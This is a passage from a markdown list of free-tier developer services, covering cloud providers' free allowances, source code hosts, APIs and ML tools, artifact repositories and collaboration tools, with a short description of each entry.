* [CodeCommit](https://aws.amazon.com/codecommit/) - 5 active users,50GB storage and 10000 request per month
* [CodePipeline](https://aws.amazon.com/codepipeline/) - 1 active pipeline per month
* [DynamoDB](https://aws.amazon.com/dynamodb/) - 25GB NoSQL DB
* [EC2](https://aws.amazon.com/ec2/) - 750 hours per month of t2.micro or t3.micro(12mo). 100GB egress per month
* [EBS](https://aws.amazon.com/ebs/) - 30GB per month of General Purpose (SSD) or Magnetic(12mo)
* [Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) - 750 hours per month(12mo)
* [RDS](https://aws.amazon.com/rds/) - 750 hours per month of db.t2.micro, db.t3.micro, or db.t4g.micro, 20GB of General Purpose (SSD) storage, 20GB of storage backups
* [Glacier](https://aws.amazon.com/glacier) - 10GB long-term object storage
* [Lambda](https://aws.amazon.com/lambda/) - 1 million requests per month
* [SNS](https://aws.amazon.com/sns/) - 1 million publishes per month
* [SES](https://aws.amazon.com/ses/) - 62.000 messages per month
* [SQS](https://aws.amazon.com/sqs/) - 1 million messaging queue requests
* Full, detailed list - https://aws.amazon.com/free/
* [Microsoft Azure](https://azure.microsoft.com)
* [Virtual Machines](https://azure.microsoft.com/services/virtual-machines/) - 1 B1S Linux VM, 1 B1S Windows VM (12mo)
* [App Service](https://azure.microsoft.com/services/app-service/) - 10 web, mobile or API apps (60 CPU minutes / day)
* [Functions](https://azure.microsoft.com/services/functions/) - 1 million requests per month
* [DevTest Labs](https://azure.microsoft.com/services/devtest-lab/) - Enable fast, easy, and lean dev-test environments
* [Active Directory](https://azure.microsoft.com/services/active-directory/) - 500,000 objects
* [Active Directory B2C](https://azure.microsoft.com/services/active-directory/external-identities/b2c/) - 50,000 monthly stored users
* [Azure DevOps](https://azure.microsoft.com/services/devops/) - 5 active users, unlimited private Git repos
* [Azure Pipelines](https://azure.microsoft.com/services/devops/pipelines/) — 10 free parallel jobs with unlimited minutes for open source for Linux, macOS, and Windows
* [Microsoft IoT Hub](https://azure.microsoft.com/services/iot-hub/) - 8,000 messages per day
* [Load Balancer](https://azure.microsoft.com/services/load-balancer/) - 1 free public load balanced IP (VIP)
* [Notification Hubs](https://azure.microsoft.com/services/notification-hubs/) - 1 million push notifications
* [Bandwidth](https://azure.microsoft.com/pricing/details/bandwidth/) - 15GB Inbound(12mo) & 5GB egress per month
* [Cosmos DB](https://azure.microsoft.com/services/cosmos-db/) - 5GB storage and 400 RUs of provisioned throughput
* [Static Web Apps](https://azure.microsoft.com/pricing/details/app-service/static/) — Build, deploy and host static apps and serverless functions, with free SSL, Authentication/Authorization and custom domains
* [Storage](https://azure.microsoft.com/services/storage/) - 5GB LRS File or Blob storage (12mo)
* [Cognitive Services](https://azure.microsoft.com/services/cognitive-services/) - AI/ML APIs (Computer Vision, Translator, Face detection, Bots...) with free tier including limited transactions
* [Cognitive Search](https://azure.microsoft.com/services/search/#features) - AI-based search and indexation service, free for 10,000 documents
* [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/) - Managed Kubernetes service, free cluster management
* [Event Grid](https://azure.microsoft.com/services/event-grid/) - 100K ops/month
* Full, detailed list - https://azure.microsoft.com/free/
* [Oracle Cloud](https://www.oracle.com/cloud/)
* Compute
- 2 AMD based Compute VMs with 1/8 OCPU and 1 GB memory eachs
- 4 Arm-based Ampere A1 cores and 24 GB of memory usable as one VM or up to 4 VMs
- Instances will be reclaimed when [deemed idle](https://docs.oracle.com/en-us/iaas/Content/FreeTier/freetier_topic-Always_Free_Resources.htm#compute__idleinstances)
* Block Volume - 2 volumes, 200 GB total (used for compute)
* Object Storage - 10 GB
* Load balancer - 1 instance with 10 Mbps
* Databases - 2 DBs, 20 GB each
* Monitoring - 500 million ingestion datapoints, 1 billion retrieval datapoints
* Bandwidth - 10 TB egress per month, speed limited to 50 Mbps on x64 based VM, 500 Mbps * core count on ARM based VM
* Public IP - 2 IPv4 for VMs, 1 IPv4 for load balancer
* Notifications - 1 million delivery options per month, 1000 emails sent per month
* Full, detailed list - https://www.oracle.com/cloud/free/
* [IBM Cloud](https://www.ibm.com/cloud/free/)
* Cloud Functions - 5 million executions per month
* Object Storage - 25GB per month
* Cloudant database - 1 GB of data storage
* Db2 database - 100MB of data storage
* API Connect - 50,000 API calls per month
* Availability Monitoring - 3 million data points per month
* Log Analysis - 500MB of daily log
* Full, detailed list - https://www.ibm.com/cloud/free/
**[⬆️ Back to Top](#table-of-contents)**
## Cloud management solutions
* [Brainboard](https://www.brainboard.co) - Collaborative solution to visually build and manage cloud infrastructures from end-to-end.
* [Cloud 66](https://www.cloud66.com/) - Free for personal projects (includes 1 deployment server, 1 static site), Cloud 66 gives you everything you need to build, deploy, and grow your applications on any cloud without the headache of the “server stuff.”.
* [Pulumi](https://www.pulumi.com/) — Modern infrastructure as code platform that allows you to use familiar programming languages and tools to build, deploy, and manage cloud infrastructure.
* [Selefra](https://www.selefra.io/) - Selefra free tier offers individual users to scan one single-source connection to discover security and compliance issues on the configurations level of cloud/infra/SaaS.
* [terraform.io](https://www.terraform.io/) — Terraform Cloud. Free remote state management and team collaboration for up to 500 resources.
* [scalr.com](https://scalr.com/) - Scalr is a Terraform Automation and COllaboration (TACO) product, used to better collaboration and automation on infrastructure and configurations managed by Terraform. Full support of Terraform CLI, integration with OPA and a hierarchical configuration model. No SSO tax. All features are included. Use up to 50 runs / month for free.
**[⬆️ Back to Top](#table-of-contents)**
## Source Code Repos
* [Bitbucket](https://bitbucket.org/) — Unlimited public and private Git repos for up to 5 users with Pipelines for CI/CD
* [chiselapp.com](https://chiselapp.com/) — Unlimited public and private Fossil repositories
* [codebasehq.com](https://www.codebasehq.com/) — One free project with 100 MB space and 2 users
* [Codeberg.org](https://codeberg.org/) - Unlimited public and private Git repos for free and open-source projects. Static website hosting with [Codeberg Pages](https://codeberg.page/).
* [GitGud](https://gitgud.io) — Unlimited private and public repositories. Free forever. Powered by GitLab & Sapphire. CI/CD not provided.
* [GitHub](https://github.com/) — Unlimited public repositories and unlimited private repositories (with unlimited collaborators). Apart from this some other free services(there are much more but we list the main ones here) provided are :
- [CI/CD](https://github.com/features/actions)(Free for Public Repos, 2000 min/month for private repos free)
- [Codespaces](https://github.com/codespaces) - Development environments that are hosted in the cloud. 120-core hours and 15 GB codespaces storage available for free every month.
- [Static Website Hosting](https://pages.github.com) (Free for Public Repos)
- [Package Hosting & Container Registry](https://github.com/features/packages) (Free for public repos,500 MB storage & 1GB bandwidth outside CI/CD free for private repos)
- Project Management & Issue Tracking.
- [GitHub Copilot](https://github.com/features/copilot) — AI pair programmer and completion tool powered by OpenAI Codex. Provides code review, autocompletion, documentation, and refactoring. Free for students via the GitHub Student Developer Pack.
* [gitlab.com](https://about.gitlab.com/) — Unlimited public and private Git repos with up to 5 collaborators. Also offers the following features :
- [CI/CD](https://about.gitlab.com/product/continuous-integration) (Free for Public Repos, 400 mins/month for private repos)
- Static Sites with [GitLab Pages](https://about.gitlab.com/product/pages).
- Container Registry with 10 GB limit per repo.
- Project Management & Issue Tracking.
* [heptapod.net](https://foss.heptapod.net/) — Heptapod is a friendly fork of GitLab Community Edition providing support for Mercurial
* [ionicframework.com](https://ionicframework.com/appflow) - Repo and tools to develop applications with Ionic, also you have an ionic repo
* [NotABug](https://notabug.org) — NotABug.org is a free-software code collaboration platform for freely licensed projects, Git-based
* [OSDN](https://osdn.net/) - OSDN.net is a free-of-charge service for open source software developers, offering SVN/Git/Mercurial/Bazaar/CVS repositories and more.
* [Pagure.io](https://pagure.io) — Pagure.io is a free and open source software code collaboration platform for FOSS-licensed projects, Git-based
* [perforce.com](https://www.perforce.com/products/helix-teamhub) — Free 1GB Cloud and Git, Mercurial, or SVN repositories.
* [pijul.com](https://pijul.com/) - Unlimited free and open source distributed version control system. Its distinctive feature is to be based on a sound theory of patches, which makes it easy to learn and use, and really distributed. Solves many problems of git/hg/svn/darcs.
* [plasticscm.com](https://plasticscm.com/) — Free for individuals, OSS and nonprofit organizations
* [projectlocker.com](https://projectlocker.com) — One free private project (Git and Subversion) with 50 MB space
* [RocketGit](https://rocketgit.com) — Repository Hosting based on Git. Unlimited Public & Private repositories.
* [savannah.gnu.org](https://savannah.gnu.org/) - Serves as a collaborative software development management system for free Software projects (for GNU Projects)
* [savannah.nongnu.org](https://savannah.nongnu.org/) - Serves as a collaborative software development management system for free Software projects (for non-GNU projects)
**[⬆️ Back to Top](#table-of-contents)**
## APIs, Data and ML
* [IP.City](https://ip.city) — 100 free IP geolocation requests per day
* [A11yWatch](https://a11ywatch.com) - Powerful web accessibility tool at scale. Free site-wide web acessibility testing and beyond that resets daily.
* [Abstract API](https://www.abstractapi.com) — API suite for a variety of use cases including IP geolocation, gender detection or even email validation.
* [Apify](https://www.apify.com/) — Web scraping and automation platform to create an API for any website and extract data. Ready-made scrapers, integrated proxies, and custom solutions. Free plan with $5 platform credits included every month.
* [API Mocha](https://apimocha.com) - Completely free online API mocking for testing and prototyping. Make up to 500 requests per day, fully customizable API responses, download mock rules as a Postman collection.
* [APITemplate.io](https://apitemplate.io) - Auto-generate images and PDF documents with a simple API or automation tools like Zapier & Airtable. No CSS/HTML required. Free plan comes with 50 images/month and 3 templates.
* [APIToolkit.io](https://apitoolkit.io) - All the tools you need to fully understand what's going on in your APIs and Backends. With automatic API contract validation and monitoring. Free plan covers servers with up to 20,000 requests per month.
* [Arize AI](https://arize.com/) - Machine learning observability for model monitoring and root-causing issues such as data quality and performance drift. Free up to two models.
* [Atlas toolkit](https://atlastk.org/) - Lightweight library to develop single-page web applications that are instantly accessible. Available for Java, Node.js, Perl, Python and Ruby.
* [Beeceptor](https://beeceptor.com) - Mock a rest API in seconds, fake API response and much more. Free 50 requests per day, public dashboard, open endpoints (anyone having link to the dashboard can view requests and responses).
* [bigml.com](https://bigml.com/) — Hosted machine learning algorithms. Unlimited free tasks for development, limit of 16 MB data/task.
* [Bruzu](https://bruzu.com/) — Automate Image production. Generate tons of Image variants with API, Integrations or nocode sheet. API is FREE with watermark.
* [Calendarific](https://calendarific.com) - Enterprise-grade Public holiday API service for over 200 countries. Free plan includes 1000 calls per month.
* [Clarifai](https://www.clarifai.com) — Image API for custom face recognition and detection. Able to train AI models. Free plan has 5000 calls per month.
* [Cloudmersive](https://cloudmersive.com/) — Utility API platform with full access to expansive API Library including Document Conversion, Virus Scanning, and more with 800 calls/month.
* [Colaboratory](https://colab.research.google.com) — Free web-based Python notebook environment with Nvidia Tesla K80 GPU.
* [Collect2](https://collect2.com) — Create an API endpoint to test, automate, and connect webhooks. Free plan allows for two datasets, 2000 records, 1 forwarder, and 1 alert.
* [Conversion Tools](https://conversiontools.io/) - Online File Converter for documents, images, video, audio, eBooks. REST API is available. Libraries for Node.js, PHP, Python. Support files up to 50 GB (for paid plans). Free tier is limited by file size and number of conversions per day.
* [Coupler](https://www.coupler.io/) - Data integration tool that syncs between apps. It can create live dashboards and reports, transform and manipulate values, collect and back up insights. The free plan has unlimited users, 100 runs with 1000 rows a month and unlimited integrations.
* [CraftMyPDF](https://craftmypdf.com) - Auto-Generate PDF documents from reusable templates with a drop-and-drop editor and a simple API. Free plan comes with 100 PDFs/month and 3 templates.
* [CurlHub](https://curlhub.io) — Proxy service for inspecting and debugging API calls. Free plan includes 10,000 requests per month.
* [CurrencyScoop](https://currencyscoop.com) - Realtime currency data API for fintech apps. Free plan includes 5000 calls per month.
* [Cube](https://cube.dev/) - Cube helps data engineers and application developers access data from modern data stores, organize it into consistent definitions, and deliver it to every application. The fastest way to use Cube is with Cube Cloud, which has a free-tier with 1GB of data pass through each month.
* [Data Fetcher](https://datafetcher.com) - Connect Airtable to any application or API with no-code. Postman-like interface for running API requests in Airtable. Pre-built integrations with dozens of apps. The free plan includes 100 runs per month.
* [Dataimporter.io](https://www.dataimporter.io) - Tool for connecting, cleaning, and importing data into Salesforce. Free Plan includes up to 20,000 records per month.
* [Datalore](https://datalore.jetbrains.com) - Python notebooks by Jetbrains. Includes 10 GB of storage and 120 hours of runtime each month.
* [Data Miner](https://dataminer.io/) - A browser extension (Google Chrome, MS Edge) for data extraction from web pages CSV or Excel. The free plan gives you 500 pages/month.
* [Datapane](https://datapane.com) - API for building interactive reports in Python and deploying Python scripts and Jupyter Notebooks as self-service tools.
* [DB-IP](https://db-ip.com/api/free) - Free IP geolocation API with 1k request per IP per day.lite database under CC-BY 4.0 License is free too.
* [DB Designer](https://www.dbdesigner.net/) — Cloud based Database schema design and modeling tool with a free starter plan of 2 Database models and 10 tables per model.
* [DeepAR](https://developer.deepar.ai) — Augmented reality face filters for any platform with one SDK. Free plan provides up to 10 monthly active users (MAU) and tracking up to 4 faces
* [Deepnote](https://deepnote.com) - A new kind of data science notebook. Jupyter-compatible with real-time collaboration and running in the cloud. Free tier includes unlimited personal projects, up to 750 hours of standard hardware and teams with up to 3 editors.
* [Diggernaut](https://www.diggernaut.com/) — Cloud based web scraping and data extraction platform for turning any website to the dataset or to work with it as with an API. Free plan includes 5K page requests monthly.
* [Disease.sh](https://disease.sh/) — A free API providing accurate data for building the Covid-19 related useful Apps.
* [dreamfactory.com](https://dreamfactory.com/) — Open source REST API backend for mobile, web, and IoT applications. Hook up any SQL/NoSQL database, file storage system, or external service and it instantly creates a comprehensive REST API platform with live documentation, user management,...
* [DynamicDocs](https://advicement.io) - Generate PDF documents with JSON to PDF API based on LaTeX templates. Free plan allows 50 API calls per month and access to a library of templates.
* [DynaPictures](https://dynapictures.com) - Design automation tool which lets you dynamically generate images over REST API. Change colors, texts, logos and images on the fly. Free plan includes 30 generated images per month and 3 image templates.
* [Efemarai](https://efemarai.com) - Testing and debugging platform for ML models and data. Visualize any computational graph. Free 30 debugging sessions per month for developers.
* [Einblick](https://www.einblick.ai/) - a modern data science platform that brings Python notebooks to a collaborative canvas and includes tools that automate common tasks such as building predictive models (AutoML) or comparing populations. Free tier includes 5 canvases and unlimited collaborators.
* [Exspanse](https://exspanse.com) - MLOPS Platform to build, train and deploy ML models and AI solutions. Free plan gives ability to create unlimited projects, 5Gb of cloud storage, 5 docker container images.
* [ExtendsClass](https://extendsclass.com/rest-client-online.html) - Free web-based HTTP client to send HTTP requests.
* [Export SDK](https://exportsdk.com) - PDF generator API with drag and drop template editor that also provides an SDK and no-code integrations. Free plan comes with 250 pages per month, unlimited users and three templates.
* [file.coffee](https://file.coffee/) - A platform where you can store up to 15MB/file (30/MB file with an account).
* [Flatirons Fuse](https://flatironsdevelopment.com/products/fuse/) - An embeddable CSV and spreadsheet import tool that makes importing data to your website fast, easy, and painless.
* [FraudLabs Pro](https://www.fraudlabspro.com) — Screen an order transaction for credit card payment fraud. This REST API will detect all possible fraud traits based on the input parameters of an order. Free Micro plan has 500 transactions per month.
* [FreeGeoIP.app](https://freegeoip.app/) - Completely free Geo IP information (JSON, CSV, XML). No registration required, 15000 queries per hour rate limit.
* [Geekflare API](https://geekflare.com/api) - Geekflare API let you take screenshots, audit websites, TLS scan, DNS lookup, test TTFB, and a lot more. The free plan offers 3000 API requests.
* [GeoCod](https://geocod.xyz) — Free geocoding API: Convert postal addresses into geographic coordinates or convert geographic coordinates into postal addresses (reverse geocoding).
* [GeoDataSource](https://www.geodatasource.com) — Location search service lookup for city name by using latitude and longitude coordinate. Free API queries up to 500 times per month.
* [Glitterly](https://glitterly.app/) - Programatically generate dynamic images from base templates. Restful API and nocode integrations. Free tier comes with 50 images/month and 5 templates.
* [GoodData](https://www.gooddata.com/) - Data as a Service - Create interactive and insightful dashboards. Free tier comes with 5 workspaces and 100 MB/workspace.
* [Hex](https://hex.tech/) - a collaborative data platform for notebooks, data apps and knowledge libraries. Free community version with up to 3 authors and 5 projects. One compute profile per author with 4GB RAM.
* [Hook0](https://www.hook0.com/) - Hook0 is an open source Webhooks-as-a-service (WaaS) that makes it easy for online products to provide webhooks. Dispatch up to 3,000 events/month with 7 days of history retention for free.
* [Hoppscotch](https://hoppscotch.io) - A free, fast, and beautiful API request builder.
* [Hybiscus](https://hybiscus.dev/) - Build pdf reports using a simple declarative API. Free tier includes upto 100 single page reports per month with the ability to customise color pallet and fonts.
* [Invantive Cloud](https://cloud.invantive.com/) — Access over 70 (cloud)platforms such as Exact Online, Twinfield, ActiveCampaign or Visma using Invantive SQL or OData4 (typically Power BI or Power Query). Includes data replication and exchange. Free plan for developers and implementation consultants. Free for specific platforms with limitations in data volumes.
* [ipaddress.sh](https://ipaddress.sh) — Simple service to get public IP address in different [formats](https://about.ipaddress.sh/).
* [Iploka](https://iploka.com/) — IP to Geolocation API - Forever free plan for developers with 10k requests per month limit.
* [IP Geolocation](https://ipgeolocation.io/) — IP Geolocation API - Forever free plan for developers with 30k requests per month (1k/day) limit.
* [IP Geolocation API](https://www.abstractapi.com/ip-geolocation-api) — IP Geolocation API from Abstract - Extensive free plan allowing 20,000 requests per month.
* [IP2Location](https://www.ip2location.com) — Freemium IP geolocation service. LITE database is available for free download. Import the database in server and perform local query to determine city, coordinates and ISP information.
* [IP2Location.io](https://www.ip2location.io/) — Freemium, fast and reliable IP geolocation API to determine geolocation data like city, coordinates, ISP and so on. Free plan is available with 30k credits per month. Subscribe paid plans for more advanced features or contact us for a personalized plan.
* [ipapi](https://ipapi.co/) - IP Address Location API by Kloudend, Inc - A reliable geolocation API, built on AWS, trusted by Fortune 500. Free tier offers 30k lookups/month (1k/day) without signup. Contact us for a higher limit trial plan.
* [IPinfo](https://ipinfo.io/) — Fast, accurate, and free (up to 50k/month) IP address data API. Offers APIs with details on geolocation, companies, carriers, IP ranges, domains, abuse contacts, and more. All paid APIs can be trialed for free.
* [IPList](https://www.iplist.cc) — Lookup details about any IP address, such as Geo IP information, tor addresses, hostnames and ASN details. Free for personal and business users.
* [BigDataCloud](https://www.bigdatacloud.com/) - Provides fast, accurate and free (Unlimited or up to 10K-50K/month) APIs for modern web like IP Geolocation, Reverse Geocoding, Networking Insights, Email and Phone Validation, Client Info and more.
* [IPTrace](https://iptrace.io) — An embarrassingly simple API that provides reliable and useful IP geolocation data for your business.
* [JSON2Video](https://json2video.com) - A video editing API to automate video marketing and social media videos, programmatically or with no-code.
* [JSON IP](https://getjsonip.com) — Returns the Public IP address of the client it is requested from. No registration required for free tier. Using CORS data can be requested using client side JS directly from browser. Useful for services monitoring change in client and server IPs. Unlimited Requests.
* [konghq.com](https://konghq.com/) — API Marketplace and powerful tools for private and public APIs. With the free tier, some features are limited such as monitoring, alerting and support.
* [Kreya](https://kreya.app) — Free gRPC GUI client to call and test gRPC APIs. Can import gRPC APIs via server reflection.
* [Lightly](https://www.lightly.ai/) — Improve your machine learning models by using the right data. Use datasets of up to 1'000 samples for free.
* [LoginLlama](https://loginllama.app) - A login security API to detect fraudulent and suspicious logins and notify your customers. Free for 1,000 logins per month.
* [MailboxValidator](https://www.mailboxvalidator.com) — Email verification service using real mail server connection to confirm valid email. Free API plan has 300 verifications per month.
* [Meteosource Weather API](https://www.meteosource.com/) — global weather API for current and forecasted weather data. Forecasts are based on a machine learning combination of more weather models to achieve better accuracy. Free plan comes with 400 calls per day.
* [microlink.io](https://microlink.io/) – It turns any website into data such as metatags normalization, beauty link previews, scraping capabilities or screenshots as a service. 100 reqs/day every day free.
* [monkeylearn.com](https://monkeylearn.com/) — Text analysis with machine learning, free 300 queries/month.
* [MockAPI](https://www.mockapi.io/) — MockAPI is a simple tool that lets you easily mock up APIs, generate custom data, and preform operations on it using RESTful interface. MockAPI is meant to be used as a prototyping/testing/learning tool. 1 project/4 resources per project for free.
* [Mocki](https://mocki.io) - A tool that lets you create mock GraphQL and REST APIs synced to a GitHub repository. Simple REST APIs are free to create and use without signup.
* [Mocko.dev](https://mocko.dev/) — Proxy your API, choose which endpoints to mock in the cloud and inspect traffic, for free. Speed up your development and integrations tests.
* [Mocky](https://designer.mocky.io/) - A simple web app to generate custom HTTP responses for mocking HTTP request. Also available as [open source](https://github.com/julien-lafont/Mocky).
* [reqres.in](https://reqres.in) - A Free hosted REST-API ready to respond to your AJAX requests.
* [microenv.com](https://microenv.com) — Create fake REST API for developers with possibility to generate code and app in docker container.
* [neptune.ai](https://neptune.ai/) - Log, store, display, organize, compare and query all your MLOps metadata. Free for individuals: 1 member, 100 GB of metadata storage, 200h of monitoring/month
* [News API](https://newsapi.org) — Search news on the web with code, get JSON results. Developers get 3,000 queries free each month.
* [Nordigen](https://nordigen.com) — Free open banking data API. PSD2. Connect 2300+ banks with your app/software in EU+UK.
* [Observable](https://observablehq.com/) — a place to create, collaborate, and learn with data. Free: Unlimited notebooks, Unlimited publishing, Five editors per notebook.
* [OCR.Space](https://ocr.space/) — An OCR API which parses image and pdf files returning the text results in JSON format. 25,000 requests per month free.
* [Duply.co](https://duply.co) — Create dynamic images from API & URL, design template once and reuse it. Free tier offers 70 images/month creation from API & URL and Up to 100 through Form.
* [OpenAPI3 Designer](https://openapidesigner.com/) — Visually create Open API 3 definitions for free.
* [Orchest](https://orchest.io) — Visual pipeline editor and workflow orchestrator for data science, 1 instance for free, open source version available.
* [parsehub.com](https://parsehub.com/) — Extract data from dynamic sites, turn dynamic websites into APIs, 5 projects free.
* [pdfEndpoint.com](https://pdfendpoint.com) - Effortlessly convert html or urls to pdf wit a simple API. 100 conversions per month for free.
* [PDF Factory](https://pdf-factory.com) - PDF Automation API, visual template editor, dynamic data integration and PDF rendering with an API. Free plan comes with 1 template, 100 PDFs/month.
* [Pixela](https://pixe.la/) - Free daystream database service. All operations are performed by API. Visualization with heat maps and line graphs is also possible.
* [Postbacks](https://postbacks.io/) - Request HTTP callbacks for a later time. 8,000 free requests on signup.
* [Postman](https://postman.com) — Simplify workflows and create better APIs – faster – with Postman, a collaboration platform for API development. Use the Postman App for free forever. Postman cloud features are also free forever with certain limits.
* [PrefectCloud](https://www.prefect.io/cloud/) — A complete platform for dataflow automation. All plans include 20,000 free runs every month. That's enough to power ETL for most small businesses.
* [Preset Cloud](https://preset.io/) - A hosted Apache Superset service. Forever free for teams up to 5 users, featuring unlimited dashboards and charts, no-code chart builder and a collaborative SQL editor.
* [PromptLeo](https://promptleo.com/) - Prompt engineering platform for creators and developers. It offers prompt engineering library, prompt forms and prompt engineering API. Free plan provides 1 prompt form, 1 prompt API endpoint and 30 generations per month.
* [PromptLoop](https://www.promptloop.com/) - Use AI and large language models like GPT-3 with a single simple spreadsheet formula to tranform, comprehend, and analyze text in Google Sheets. First 2,000 credits free each month.
* [ProxyCrawl](https://proxycrawl.com/) — Crawl and scrape websites without the need of proxies, infrastructure or browsers. We solve captchas for you and prevent you being blocked. The first 1000 calls are free of charge.
* [Public-Apis Github Repo](https://github.com/public-apis/public-apis) — A list of free public APIs.
* [Supportivekoala](https://supportivekoala.com/) — Allows you to autogenerate images by your input via templates. Free plan allows you to create up to 100 images per week.
* [QuickMocker](https://quickmocker.com/) — Manage online fake API endpoints under your own subdomain, forward requests to localhost URL for webhooks development and testing, use RegExp and multiple HTTP methods for URL path, prioritize endpoints, more than 100 shortcodes (dynamic or fake response values) for response templating, import from OpenAPI (Swagger) Specifications in JSON format, proxy requests, restrict endpoint by IP address and authorization header. Free account provides 1 random subdomain, 10 endpoints, 5 RegExp URL paths, 50 shortcodes per endpoint, 100 requests per day, 50 history records in requests log.
* [Rapidapi](https://rapidapi.com/) - World’s Largest API Hub Millions of developers find and connect to thousands of APIs, API Development using fun challenges (with solutions!) and interactive examples.
* [RequestBin.com](https://requestbin.com) — Create a free endpoint to which you can send HTTP requests. Any HTTP requests sent to that endpoint will be recorded with the associated payload and headers so you can observe requests from webhooks and other services.
* [Roboflow](https://roboflow.com) - create and deploy a custom computer vision model with no prior machine learning experience required. Free tier includes up to 1,000 free source images.
* [ROBOHASH](https://robohash.org/) - Web service to generate unique (cool :) images from any text.
* [SaturnCloud](https://saturncloud.io/) - Data science cloud environment, that allows to run Jupyter notebooks and Dask clusters. 30 hours free computation and 3 hours of Dask per month.
* [Scraper's Proxy](https://scrapersproxy.com) — Simple HTTP proxy API made for scraping. Scrape anonymously without having to worry about restrictions, blocks or captchas. First 100 successfully scrape's per month free including javascript rendering (more available if you contact support).
* [ScrapingAnt](https://scrapingant.com/) — Headless Chrome scraping API and free checked proxies service. Javascript rendering, premium rotating proxies, CAPTCHAs avoiding. Free plans available.
* [ScraperBox](https://scraperbox.com/) — Undetectable web scraping API using real Chrome browsers and proxy rotation. Use a simple API call to scrape any web page. Free plan has 1000 requests per month.
* [ScrapingDog](https://scrapingdog.com/) — Scrapingdog handles millions of proxies, browsers and CAPTCHAs to provide you with HTML of any web page in a single API call. It also provides Web Scraper for Chrome & Firefox and a software for instant scraping demand. Free plans available.
* [scrapinghub.com](https://scrapinghub.com) — Data scraping with visual interface and plugins. Free plan includes unlimited scraping on a shared server.
* [Select Star](https://www.selectstar.com/) - is an intelligent data discovery platform that automatically analyzes and documents your data. Free light tier with 1 Data Source, up to 100 Tables and up to 10 Users.
* [Sheetson](https://sheetson.com) - Instantly turn any Google Sheets into RESTful API. Free plan available.
* [Shipyard](https://www.shipyardapp.com) — Low-code data orchestration platform for the cloud. Build with a mix of low-code templates and your code (Python, Node.js, Bash, SQL). Our free developer plan offers 10 hours of runtime every month for one user - more than enough to automate multiple workflows.
* [shrtcode API](https://shrtco.de/docs) - Free URL Shortening API without authorization and no request limits.
* [SerpApi](https://serpapi.com/) - Real-time search engine scraping API. Returns structured JSON results for Google, Youtube, Bing, Baidu, Walmart and many other engines. Free plan includes 100 successful API calls per month.
* [Sofodata](https://www.sofodata.com/) - Create secure RESTful APIs from CSV files. Upload a CSV file and instantly access the data via its API allowing faster application development. Free plan includes 2 APIs and 2,500 API calls per month. No credit card required.
* [Stoplight](https://stoplight.io/) - Saas for collaborativly designing and documenting for APIs. The free plan offers free design, mocking and documentation tools to get started.
* [Svix](https://www.svix.com/) - Webhooks as a Service. Send up to 50,000 messages/month for free.
* [TemplateTo](https://templateto.com) - Auto-Generate PDF/TXT documents from reusable templates with our drop-and-drop editor and simple API. Free plan comes with 450 PDFs/month and 3 templates.
* [TinyMCE](https://www.tiny.cloud) - rich text editing API. Core features free for unlimited usage.
* [Webhook Store](https://www.openwebhook.io) - Tool for storing third party webhooks and debug them on localhost (ngrok style). Open source and self-hostable. Free personal domain *username*.github.webhook.store, free public domains *anything*.webhook.store.
* [Weights & Biases](https://wandb.ai) — The developer-first MLOps platform. Build better models faster with experiment tracking, dataset versioning, and model management. Free tier for personal projects only, with 100 GB of storage included.
* [wit.ai](https://wit.ai/) — NLP for developers.
* [wolfram.com](https://wolfram.com/language/) — Built-in knowledge-based algorithms in the cloud.
* [wrapapi.com](https://wrapapi.com/) — Turn any website into a parameterized API. 30k API calls per month.
* [ZenRows](https://www.zenrows.com/) — Web Scraping API & proxy server that bypasses any anti-bot solution while offering javascript rendering, rotating proxies, and geotargeting. Free tier of 1000 API calls.
* [Zenscrape](https://zenscrape.com/web-scraping-api) — Web scraping API with headless browsers, residentials IPs and simple pricing. 1000 free API calls/month, extra free credits for students and non-profits.
* [ip-api](https://ip-api.com) — IP Geolocation API, Free for non-commercial use, no API key required, limited to 45 req/minute from the same IP address for the free plan.
* [WebScraping.AI](https://webscraping.ai) - Simple Web Scraping API with built-in parsing, Chrome rendering and proxies. 2000 free API calls per month.
* [Zipcodebase](https://zipcodebase.com) - Free Zip Code API, access to Worldwide Postal Code Data. 10000 free requests/month.
* [huggingface.co](https://huggingface.co) - Build, train and deploy NLP models for Pytorch, TensorFlow, and JAX. Free up to 30k input characters/mo.
* [vatcheckapi.com](https://vatcheckapi.com) - Simple and free VAT number validation API. 500 free requests per month.
* [numlookupapi.com](https://numlookupapi.com) - Free phone number validation API - 100k free requests / month.
* [Volca](https://volca.io#api) - Free API providing lists of technologies such as programming languages and database systems. Unlimited free requests.
* [Query.me](https://query.me) - Collaborative data notebooks that execute in a script-like fashion and allow to fetch and send data via SQL, API, and a growing number custom blocks, like Slack and Email. Free for small Teams.
* [ERD Lab](https://www.erdlab.io) — Free cloud based entity relationship diagram (ERD) tool made for developers.
* [What The Diff](https://whatthediff.ai) - AI-powered code review assistant. The free plan has a limit of 25,000 tokens per month (~10 PRs).
* [Zipcodestack](https://zipcodestack.com) - Free Zip Code API and Postal Code Validation. 10000 free requests/month.
**[⬆️ Back to Top](#table-of-contents)**
## Artifact Repos
* [Artifactory](https://jfrog.com/start-free/) - An artifact repository that supports numerous package formats like Maven, Docker, Cargo, Helm, PyPI, CocoaPods, and GitLFS. Incudes package scanning tool XRay and CI/CD tool Pipelines (formerly Shippable) with a free tier of 2,000 CI/CD minutes per month.
* [central.sonatype.org](https://central.sonatype.org) — The default artifact repository for Apache Maven, SBT and other build systems.
* [cloudrepo.io](https://cloudrepo.io) - Cloud based, private and public, Maven and PyPi repositories. Free for open source projects.
* [cloudsmith.io](https://cloudsmith.io) — Simple, secure and centralised repository service for Java/Maven, RedHat, Debian, Python, Ruby, Vagrant +more. Free tier + free for open source.
* [jitpack.io](https://jitpack.io/) — Maven repository for JVM and Android projects on GitHub, free for public projects.
* [packagecloud.io](https://packagecloud.io/users/new?plan=free_usage_plan) — Easy to use repository hosting for: Maven, RPM, DEB, PyPi, NPM, and RubyGem packages (has free tier).
* [repsy.io](https://repsy.io) — 1 GB Free private/public Maven Repository.
* [Gemfury](https://gemfury.com) — Private and public artifact repos for Maven, PyPi, NPM, Go Module, Nuget, APT, RPM repositories. Free for public projects.
* [paperspace](https://www.paperspace.com/) — Build & scale AI models, Develop, train, and deploy AI applications, free plan: public projects, 5Gb storage, basic instances.
**[⬆️ Back to Top](#table-of-contents)**
## Tools for Teams and Collaboration
* [3Cols](https://3cols.com/) - A free cloud based code snippet manager for personal and collaborative code.
* [Bitwarden](https://bitwarden.com) — The easiest and safest way for individuals, teams, and business organizations to store, share, and sync sensitive data.
